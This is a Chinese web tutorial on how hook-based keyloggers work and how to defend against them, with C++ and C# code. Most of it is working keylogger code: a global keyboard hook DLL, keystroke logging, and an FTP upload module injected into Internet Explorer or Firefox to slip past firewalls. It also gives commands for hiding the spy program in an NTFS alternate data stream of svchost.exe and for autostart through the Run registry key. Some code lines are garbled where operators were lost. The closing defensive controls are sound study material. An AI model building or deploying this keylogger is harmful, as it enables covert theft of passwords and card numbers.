闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾剧懓顪冪€n亝鎹i柣顓炴閵嗘帒顫濋敐鍛婵°倗濮烽崑鐐烘偋閻樻眹鈧線寮撮姀鐘栄囨煕鐏炲墽鐓瑙勬礀閳规垿顢欑紒鎾剁窗闂佸憡顭嗛崘锝嗙€洪悗骞垮劚濞茬娀宕戦幘鑸靛枂闁告洦鍓涢ˇ顓熺節閳封偓閸曞灚鐤佸Δ鐘靛仜濡繂顕i鈧畷鐓庮熆椤忎焦娅婇柟顔筋殜閺佹劖鎯斿┑鍫濆毈闁诲海鎳撻幉锛勬崲閸曨厽顫曢柟鐑樻尰缂嶅洭鏌曟繛鍨姢闁荤喆鍔岄—鍐Χ鎼粹€茬凹缂備緡鍠楅幐鎼佹偩閻戣棄纭€闁绘劕绉堕崰鏍箖濞嗘挸绠f繝闈涙搐椤︹晠姊洪幎鑺ユ暠闁搞劌婀卞Σ鎰板箻鐎涙ê顎撴繝娈垮枟閸╁牊绂嶅┑瀣疄闁靛ň鏅涢悙濠囨煏婵炲灝鈧绮诲顒夋富闁靛牆妫涙晶顒勬煟閺冩垵澧撮柣鎿冨墴椤㈡宕掑Δ鈧禍楣冩偡濞嗗繐顏痪鐐倐閺屾稒鎯旈敐鍡樻瘓閻庢鍣崑濠囩嵁濡偐纾兼俊顖滅帛椤忕喖姊绘担鑺ョ《闁革綇绠撻獮蹇涙晸閿燂拷婵犵數濮烽弫鍛婃叏閻戣棄鏋侀柛娑橈攻閸欏繘鏌i幋锝嗩棄闁哄绶氶弻鐔兼⒒鐎靛壊妲紒鐐劤椤兘寮婚敐澶婄疀妞ゆ帊鐒﹂崕鎾剁磽娴e搫小闁告濞婂濠氭偄閸忓皷鎷婚柣搴ㄦ涧婢瑰﹤危椤斿墽纾藉ù锝呮惈鍟搁梺鍝ュУ閻楃姴顕f繝姘╅柍鍝勫€告禍婊堟⒑閸涘﹦绠撻悗姘嚇婵偓闁靛牆妫涢崢閬嶆⒑闂堟胆褰掑磿闁秴鐒垫い鎺嗗亾婵犫偓闁秴绠查柕蹇曞Л濡插牓鏌曡箛鏇炐㈤柤鏉跨仢閳规垿鍩ラ崱妤冧淮濡炪倖娉﹂崶顭戞閻庡箍鍎遍ˇ浼村煕閹寸姷纾奸悗锝庡亽閸庛儵鏌涙惔銏犲缂佽鲸甯為幏鐘诲箵閹烘挻顔掑┑鐘殿暜缁辨洟寮拠鑼殾闁绘梻鈷堥弫宥嗘叏濡じ鍚柡澶嬫倐濮婄粯鎷呴崫銉︾€┑鈩冦仠閸斿酣骞忕€n喖钃熼柕澶堝劤閿涙盯姊虹憴鍕妞ゆ泦鍥х闁逞屽墴閹嘲饪伴崘鐐枅閻庢鍠楅幃鍌氼嚕椤曗偓瀹曞ジ鎮㈤崫鍕辈闂傚倷鑳剁划顖毭洪弽顓炵9闁革富鍘搁崑鎾愁潩閻愵剙顏�
开发学院软件开发C++ 键盘谍影 键盘监视器的原理和防范 阅读

键盘谍影 键盘监视器的原理和防范

 2008-03-08 21:30:09 来源:WEB开发网 闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾剧懓顪冪€n亜顒㈡い鎰Г閹便劌顫滈崱妤€骞婄紓鍌氬€瑰銊╁箟缁嬫鍚嬮柛顐線缂冩洟姊婚崒娆戭槮婵犫偓闁秵鎯為幖娣妼缁愭鏌″搴′簽濞戞挸绉甸妵鍕冀椤愵澀娌梺缁樻尪閸庣敻寮婚敐澶婂嵆闁绘劖绁撮崑鎾诲捶椤撴稑浜炬慨妯煎亾鐎氾拷闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾剧懓顪冪€n亝鎹i柣顓炴閵嗘帒顫濋敐鍛婵°倗濮烽崑娑⑺囬悽绋挎瀬闁瑰墽绮崑鎰版煙缂佹ê绗ч柍褜鍓﹂崣鍐潖閸濆嫅褔宕惰娴犲ジ姊虹拠鑼闁煎綊绠栭幃楣冩倻閽樺鎽曢梺闈涱檧婵″洭宕㈤悽鍛娾拺閻熸瑥瀚烽崯蹇涙煕閻樺磭澧甸柕鍡楀€圭缓浠嬪川婵犲嫬骞堥梺纭呭閹活亞妲愰弴鐔哄ⅰ闂傚倷绶氬ḿ褍煤閵堝洠鍋撳顐㈠祮闁绘侗鍣i獮鎺懳旈埀顒傜不閿濆棛绡€闂傚牊绋戦弳娆徝瑰⿰鍫㈢暫闁哄矉缍佹慨鈧柍鎯版硾濠€杈ㄧ珶閺囩喓绡€婵﹩鍘鹃崢鐢告⒑缂佹ê濮﹂柛鎾村哺閹ɑ娼忛妸銈囩畾闂佸湱绮敮鐐存櫠濞戞氨纾肩紓浣贯缚濞插鈧娲栧畷顒冪亙闂佸憡鍔曢崯鐘诲礈濠靛牊宕叉繛鎴炨缚閺嗗棗鈹戦悩杈厡闁轰焦鐗滅槐鎾存媴娴犲鎽甸梺鍦嚀濞层倝鎮鹃悜钘夌闁规惌鍘介崓鐢告⒑閻熸澘鎮侀柣鎺炵畵閹骞栨担鍏夋嫽婵炶揪绲块崕銈夊吹閳ь剟姊洪幖鐐测偓鏍偋閻樿崵宓侀煫鍥ㄧ⊕閺呮悂鏌ㄩ悤鍌涘濠电姷鏁告慨鐑藉极閸涘﹥鍙忛柣鎴f閺嬩線鏌涘☉姗堟敾闁告瑥绻戦妵鍕箻閸楃偟浠肩紓浣哄閸ㄥ爼寮诲☉銏犵疀闂傚牊绋掗悘鍫ユ倵閻熺増鍟炵紒璇插暣婵$敻宕熼姘鳖啋闁诲酣娼ч幗婊堟偩婵傚憡鈷戠痪顓炴媼濞兼劖绻涢懠顒€鏋庢い顐㈢箳缁辨帒螣閼测晜鍤岄梻渚€鈧偛鑻晶顔肩暆閿濆牆鍔垫い锔界叀閹繝濡舵径瀣帾闂佸壊鍋呯换鍐磻椤忓懐绠剧€瑰壊鍠曠花濠氬箚閻斿吋鈷戦悗鍦У閵嗗啴鏌ら崘鑼煟鐎规洘绻堥弫鍐焵椤掑嫧鈧棃宕橀鍢壯囨煕閳╁喚娈橀柣鐔稿姍濮婃椽鎮℃惔鈩冩瘣闂佺粯鐗曢妶绋跨暦閻戞ḿ绡€闁搞儜鍐ㄧギ闂備線娼ф蹇曟閺囥垹鍌ㄦい蹇撶墛閳锋垿鏌熼懖鈺佷粶闁告梹顨婇弻锟犲川椤旈敮濮囩紓浣稿€圭敮鐔妓囩€靛摜纾奸弶鍫涘妼缁楁碍绻涢悡搴g闁糕斁鍓濋幏鍛存煥鐎e灚缍楅梻鍌氬€峰ù鍥ь浖閵娾晜鍊块柨鏇炲€哥粻鏌ユ煕閵夘喖澧柡瀣╃窔閺岀喖宕滆鐢盯鏌¢崨顔藉€愰柡灞诲姂閹倝宕掑☉姗嗕紦闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾剧懓顪冪€n亜顒㈡い鎰Г閹便劌顫滈崱妤€骞婄紓鍌氬€瑰銊╁箟缁嬫鍚嬮柛顐線缂冩洟姊婚崒娆戭槮婵犫偓闁秵鎯為幖娣妼缁愭鏌″搴′簽濞戞挸绉甸妵鍕冀椤愵澀娌梺缁樻尪閸庣敻寮婚敐澶婂嵆闁绘劖绁撮崑鎾诲捶椤撴稑浜炬慨妯煎亾鐎氾拷  闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾惧綊鏌i幋锝呅撻柛銈呭閺屻倝宕妷锔芥瘎婵炲濮靛銊ф閹捐纾兼繛鍡樺笒閸橈紕绱撴笟鍥ф珮闁搞劌鐖兼俊鎾礃椤旂厧绐涢梺鍝勵槹閸ㄥ綊宕㈠ú顏呭€垫鐐茬仢閸旀碍銇勯敂璇茬仸鐎规洩绻濋獮搴ㄦ嚍閵壯冨妇闂傚⿴鍋勫ú锕€煤閺嶃劎澧¢梻鍌欐祰椤曆呪偓鍨浮瀹曟粓鎮㈡總澶嬬稁闂佹儳绻愬﹢杈╁閸忛棿绻嗘い鏍ㄧ閹牊銇勯銏㈢劯婵﹨娅i幏鐘绘嚑椤掑偆鍞规繝娈垮枟鑿ч柛鏃€鍨垮畷娲焵椤掍降浜滈柟鍝勭Ф椤︼箓鏌涢妶搴″⒋闁哄本鐩獮妯兼崉閻戞ḿ鈧顪冮妶搴′簻缂佺粯鍔楅崣鍛渻閵堝懐绠伴悗姘煎墴閹顢橀悜鍡樺瘜闂侀潧鐗嗗Λ娆戠矆閳ь剟姊洪悷鏉挎毐闂佸府绲介悾宄扳堪閸曨偒鍤ら柣搴㈢⊕鑿ら柟閿嬫そ濮婄粯绗熼崶褌绨介梺绋款儐閻╊垶骞婇悢纰辨晬婵炴垶鐟﹂悵宄邦渻閵堝棙鐓ュ褏鏅竟鏇㈡偂鎼搭喚鍞甸柣鐘烘鐏忋劑宕濋悢铏圭<濠㈣泛瀛╅鐘绘煃瑜滈崜姘额敊閺嶎厼绐楅柡宥庡幐閳ь剨绠撻弻銊р偓锝傛櫇缁犳艾鈹戦鐣岀畵闁活厼鐗嗗嵄闁绘垼濮ら埛鎴犵磼鐎n偒鍎ラ柛搴㈠姍閺岀喖鎮烽悧鍫熸倷闁捐崵鍋ら弻娑㈠箛閳轰礁唯濠碘剝褰冮悧濠勬崲濞戙垹骞㈡俊銈呭暟椤斿鈹戦悙鑼闁挎洏鍨归~蹇曠磼濡顎撴俊鐐差儏缁ㄨ偐鎲伴崱娆戠=闁稿本姘ㄨⅵ闂佺ǹ顑嗛幐鑽ゆ崲濞戞埃鍋撳☉娆嬬細闁活厹鍊濋弻娑㈠箻鐠虹儤鐏堥悗瑙勬礃濡炰粙宕洪埀顒併亜閹哄秹妾峰ù婊勭矒閺岀喖鎮滃Ο铏逛淮闂侀€炲苯澧紓宥咃工椤曪綁骞庣粵瀣櫌闂佸憡娲﹂崜娑㈠储闁秵鐓熼幖鎼灣缁夐潧霉濠婂懎鍘撮柣鎿冨墴椤㈡宕掑Δ鈧禍楣冩偡濞嗗繐顏痪鎯ь煼閺屾稑螖閳ь剟宕崸妤婃晪闁挎繂顦壕褰掓煟閺囨氨鍔嶉棄瀣⒒閸屾瑧顦﹂柟纰卞亜铻為悗闈涙憸娑撳秹鏌熼幑鎰靛殭闁藉啰鍠栭弻鏇熺箾閻愵剚鐝曢梺绋款儏濡繈寮诲☉姘勃闁告挆鈧Σ鍫濐渻閵堝懘鐛滈柟鍑ゆ嫹
核心提示:简介本文将具体讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议,希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护,键盘谍影 键盘监视器的原理和防范,背景
  简介

  本文将具体讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。

  背景

  基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕捉击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕捉用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。

  一、键盘监视器的设计

  下面是一个简单的,直接使用钩子技术实现的例子。

  键盘监视器体系结构

  键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。

键盘谍影 键盘监视器的原理和防范
  主模块Window过程代码如下:

///////////////////////////////////////////////////////////////////
// FUNCTION: WndPRoc(HWND, unsigned, Word, LONG)
// 目的:处理主窗口中的消息
// MSG_MY_WM_KEYDOWN - 处理应用程序键击
// MSG_MY_WM_SETFOCUS - 处理应用程序键击
// MSG_WM_UPLOAD_FILE - 处理一个FTP模块通知
// WM_DESTROY - 寄送一个退出消息并返回
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
  if (message == MSG_MY_WM_KEYDOWN)
   return OnInterceptKeyStroke(wParam, lParam);
  if (message == MSG_MY_WM_SETFOCUS)
   return OnSetKeyboardFocus(wParam, lParam);
  if (message == MSG_WM_UPLOAD_FILE)
   return OnFileUploaded(wParam, lParam);
  switch (message)
  {
   case WM_DESTROY:
    PostQuitMessage(0);
    break;
   default:
    return DefWindowProc(hWnd, message, wParam, lParam);
  }
  return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)
{
  //假如我们在登录一个新的应用程序,应该打印一个适当的头
  if (g_hWinInFocus != g_hLastWin)
  {
   WriteNewAppHeader(g_hWinInFocus);
   g_hLastWin = g_hWinInFocus;
  }
  if (wParam==VK_RETURN wParam==VK_TAB)
  {
   WriteToLog(’\n’);
  }
  else
  {
   BYTE keyStateArr[256];
   WORD word;
   UINT scanCode = lParam;
   char ch;
   //把虚拟键代码转换成ascii码
   GetKeyboardState(keyStateArr);
   ToAscii(wParam, scanCode, keyStateArr, &word, 0);
   ch = (char) word;

   if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’)
    ch += ’A’-’a’;
    WriteToLog(ch);
  }
  return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)
{
  g_hWinInFocus = (HWND)wParam;
  return S_OK;
}
///////////////////////////////////////////////////////////////////
LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)
{
  //记录上载成功
  if (wParam)
  {
   DeleteFile(g_sSpyLogFileName2);
  }
  else
  {
   char temp[255];
   FILE* f1=fopen(g_sSpyLogFileName,"rt");
   FILE* f2=fopen(g_sSpyLogFileName2,"at");
   while (!feof(f1))
   {
    if (fgets(temp, 255, f1))
    {
     fputs(temp, f2);
    }
   }
   fclose(f1);
   fclose(f2);
   MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
  }
  g_isUploading = false;
  return S_OK;
}

  全局WH_CBT钩子

  一个系统范围的钩子实际上是一个函数,它安装在当前运行的所有进程中,在被监视消息到达目标window过程之前予以监控。钩子过程用于监控系统中的各种类型的事件-例如击键等等。可以通过调用Win32 API函数SetWindowsHookEx来安装一个钩子过程并指定调用该过程的钩子类型。一个WH_CBT钩子过程在窗口取得焦点并在击键事件从系统消息队列被清除之前调用。所有桌面应用程序都在自己的上下文中调用一个全局的钩子过程,所以该钩子过程必须驻留在一个独立于应用程序的DLL中来安装钩子过程。

  DLL共享内存区域

  一段DLL共享内存区域实际上是一个所有的DLL实例都可以看到的内存变量。主模块把它的窗口句柄保存在钩子DLL的共享内存区域中-该DLL使所有的钩子过程实例能够把窗口消息邮寄回主模块中。

  钩子过程共享内存区域并输出函数:

///////////////////////////////////////////////////////////////////
//共享的内存
#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")
///////////////////////////////////////////////////////////////////
void CALLBACK SetSpyHwnd (DWORD hwnd)
{
  g_hSpyWin = (HWND) hwnd;
}
///////////////////////////////////////////////////////////////////
LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{
  if (nCode == HCBT_KEYSKipPED && (lParam & 0x40000000))
  {
   if ((wParam==VK_SPACE)(wParam==VK_RETURN)(wParam==VK_TAB) (wParam>=0x2f ) &&(wParam<=0x100))
   {
    ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
   }
  }
  else if (nCode == HCBT_SETFOCUS)
  {
   ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);

   if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
   {
    HINSTANCE hFtpDll;
    Init InitFunc;
    if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
    {
     if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
     {
      (InitFunc)((DWORD)g_hSpyWin);
     }
    }
    bInjectFtpDll = false;
   }
  }
  return CallNextHookEx( 0, nCode, wParam, lParam);
}

  函数的主模块代码如下:

typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam,
LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);
HMODULE g_hHookDll = NULL;
HHOOK g_hHook = NULL;
bool InstallHook(HWND hwnd)
{
  SetSpyHwnd SetHwndFunc;
  HookProc HookProcFunc;

  if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
  {
   if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd"))
   {
    //把主模块的HWND存储在共享存储区段
    (SetHwndFunc)((DWORD)hwnd);
    if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc"))
    {
     if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0))
      return true;
    }
   }
  }
  return false;
}

  盗窃

  一个间谍程序为了防止自己被探测到必须隐藏好自己的踪迹。它们主要涉及三个技术区域:文件系统,任务治理器,防火墙。

  任务治理器盗窃

  ADS(Alternate Data Streams)是一项NTFS文件系统特性,它能使你把文件数据送于存在的文件中而不影响它们的功能,大小或者资源治理器等浏览工具的对它们的显示。带有ADS的文件用本地文件浏览技术几乎是不可能检测到的。 一旦文件被注入该项特性,ADS即可被诸如传统的命令如type等执行。在激活时,ADS执行体以原始文件的方式出现并运行:你可以用Windows资源治理器等进程观察器来试验。使用这种技术后,不仅可能隐藏一个文件,而且可能隐藏一个非法进程的执行体部分。事实上,假如安装了NTFS系统,你是不可能本地式探测出以ADS方式隐藏的文件的。ADS特性不能够被取消(disabled),目前为止还没有办法来针对用户已经对其具有存取权限的文件限制这种特性。示例程序为了简明之目地没有使用ADS。   
  你可以用下例方式手工操作ADS。

Inject spy.exe to svchost.exe
"type spy.exe > c:\windows\system32\svchost.exe:spy.exe"
Run spy.exe
"start svchost.exe:spy.exe"

  防火墙盗窃

  大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我选择把FTP模块注入或者Internet EXPlorer或者Firefox。DLL注入将会越过大多数防火墙软件的检测,非凡在FTP服务器在探听80端口时。钩子过程DLL(它由函数SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不答应的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。

  下面是模块DllMain中的钩子过程:

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved)
{
  switch (ul_reason_for_call)
  { 
   case DLL_PROCESS_ATTACH:
   {
    char processName[255];
    GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) );
    strcpy(processName, _strlwr(processName));
    if (strstr(processName, "iexplore.exe") strstr(processName, "firefox.exe"))
     bInjectFtpDll = true;
     break;
   }
   case DLL_THREAD_ATTACH:
   case DLL_THREAD_DETACH:
   case DLL_PROCESS_DETACH:
   break;
  }
  return TRUE;
}

  启动

  把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
  示例程序把spy.exe作为一项新注册表值加入。

 二、键盘监视的防范

   在这一节中,我将介绍两种简单的技术来帮助你的应用程序反击基于钩子技术的键盘监视程序。

   具有防范监视功能的密码编辑控件

键盘谍影 键盘监视器的原理和防范
  免于监视的编辑控件将针对每次用户击键生成一个模拟的随机键击串。监视程序将截获用户的击键和伪击键,这样以来使它很难或者不可能检索实际的输入的文本。用户输入被存储于一个成员变量中-应用程序可以轻易地通过编辑控件存取该变量的值。本例中的伪键击是通过调用Win32 API SendInput来实现的。下面这实现了两个控件-一个MFC版本,一个.NET版本。

  该编辑安全的控件假定函数SendInput生成键击的速度快于用户击键的速度。这可能导致编辑安全的控件在较慢的机器上返回错误的用户数据,非凡是在运行C#实现版本时。

  VC++ MFC版本的CsafeEdit类:

void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags)
{
  if (nChar == VK_SHIFT nChar == VK_CONTROL nChar == VK_MENU)
   return;
  if (nChar == VK_DELETE nChar == VK_BACK)
  {
   SetWindowText("");
   m_sRealText = "";
   return;
  }
  if (m_state == 0)
  {
   m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
   m_state = 1;
   CString text;
   GetWindowText(text);
   m_sRealText += text.Right(1);
  }
  else
  {
   if (m_state++ >= m_iDummyKeyStrokesCount)
    m_state = 0;
  }
  CEdit::OnKeyUp(nChar, nRepCnt, nFlags);
}
///////////////////////////////////////////////////////////////////
CString CSafeEdit::GetRealText()
{
  return m_sRealText;
}
///////////////////////////////////////////////////////////////////
int CSafeEdit::SendDummyKeyStrokes()
{
  srand((unsigned)::GetTickCount());
  int iKeyStrokeCount = rand() % 5 + 1;
  int key;
  INPUT inp[2];
  inp[0].type = INPUT_KEYBOARD;
  inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();
  inp[0].ki.dwFlags = 0;
  inp[0].ki.time = 0;
  for (int i=0; i < iKeyStrokeCount; i++)
  {
   key = rand() % (’Z’-’A’) + ’A’;
   inp[0].ki.wScan = key;
   inp[0].ki.wVk = key;
   inp[1] = inp[0];
   inp[1].ki.dwFlags = KEYEVENTF_KEYUP;
   SendInput(2, inp, sizeof(INPUT));
  }
  return iKeyStrokeCount;
}

  用C#实现的SafeEdit类:

public strUCt KEYDBINPUT
{
  public Int16 wVk;
  public Int16 wScan;
  public Int32 dwFlags;
  public Int32 time;
  public Int32 dwExtraInfo;
  public Int32 __filler1;
  public Int32 __filler2;
}
public struct INPUT
{
  public Int32 type;
  public KEYDBINPUT ki;
}
[DllImport("user32")] public static extern int
SendInput( int cInputs, ref INPUT pInputs, int cbSize );
protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
  if (e.KeyData == Keys.ShiftKey e.KeyData == Keys.ControlKey e.KeyData == Keys.Alt)
   return;
  if (e.KeyData == Keys.Delete e.KeyData == Keys.Back)
  {
   Text = "";
   m_sRealText = "";
   return;
  }
  if (m_state == 0)
  {
   m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
   m_state = 1;
   m_sRealText += Text[Text.Length-1];
  }
  else
  {
   if (m_state++ >= m_iDummyKeyStrokesCount)
   m_state = 0;
  }
}
public int SendDummyKeyStrokes()
{
  short key;
  Random rand = new Random();
  int iKeyStrokeCount = rand.Next(1, 6);
  INPUT inputDown = new INPUT();
  inputDown.type = INPUT_KEYBOARD;
  inputDown.ki.dwFlags = 0;
  INPUT inputUp = new INPUT();
  inputUp.type = INPUT_KEYBOARD;
  inputUp.ki.dwFlags = KEYEVENTF_KEYUP;
  for (int i=0; i < iKeyStrokeCount; i++)
  {
   key = (short) rand.Next(’A’, ’Z’);
   inputDown.ki.wVk = key;
   SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );
   inputUp.ki.wVk = key;
   SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );
  }
  return iKeyStrokeCount;
}

  SpyRemover类

键盘谍影 键盘监视器的原理和防范
  基于钩子技术的监视程序依靠于它们的钩子过程DLL。
将钩子DLL从应用程序进程中移去将使注入该应用程序的窥探程序失去窥探键击的功能。示例程序使用类SpyRemover来移去钩子DLL文件。SpyRemover构造器接收一个"授权模块"的列表。假如一个模块只是装入到一个应用程序中但是没有出现在该列表中被认为是没有授权的。SpyRemover通过枚举所有的应用程序进程模块来探测未经授权的模块。

VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg,
unsigned int idEvent, DWORD dwTime)
{
  m_SpyRemover->EnumModules();
}
//////////////////////////////////////////////////////////////////
SpyRemover::SpyRemover(char* szAuthorizedList)
{
  m_SpyRemover = this;
  m_szAuthorizedList = " ";
  m_szAuthorizedList += szAuthorizedList;
  m_szAuthorizedList += " ";
  m_szAuthorizedList.MakeLower();
  ::SetTimer(NULL, 0, 500, TimerProc);
}
///////////////////////////////////////////////////////////////////
void SpyRemover::EnumModules()
{
  DWORD dwPID = ::GetCurrentProcessId();
  HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
  MODULEENTRY32 me32;
  //取得当前进程所有模块的一个快照
  hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID );
  if( hModuleSnap == INVALID_HANDLE_VALUE )
   return;
  me32.dwSize = sizeof( MODULEENTRY32 );
  //检索关于第一个模块(application.exe)的信息
  if( !Module32First( hModuleSnap, &me32 ) )
  {
   CloseHandle( hModuleSnap );
   return;
  }
  //遍历当前进程的模块列表
  do
  {
   if (!IsModuleAuthorized(me32.szModule))
   {
    HMODULE hmodule = me32.hModule;
    CloseHandle(hModuleSnap);
    FreeLibrary(hmodule);
    return;
   } while( Module32Next( hModuleSnap, &me32 ) );
   CloseHandle(hModuleSnap);
  }
  ///////////////////////////////////////////////////////////////////
  bool SpyRemover::IsModuleAuthorized(char* szModuleName)
  {
   char szModule[1024];
   sprintf(szModule, " %s ", szModuleName);
   strcpy(szModule, _strlwr(szModule));
   if (strstr(m_szAuthorizedList, szModule))
    return true;
   else
    return false;
  }

  小结

  本文以软件保护为背景,具体讨论了一个键盘监视器的开发并针对反监视提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。另外,本文所附代码在windows 2000/.NET 2003环境下调试通过。

Tags:键盘 键盘 监视器

编辑录入:爽爽 [复制链接] [打 印]
[]
  • 好
  • 好的评价 如果觉得好,就请您
      0%(0)
  • 差
  • 差的评价 如果觉得差,就请您
      0%(0)
赞助商链接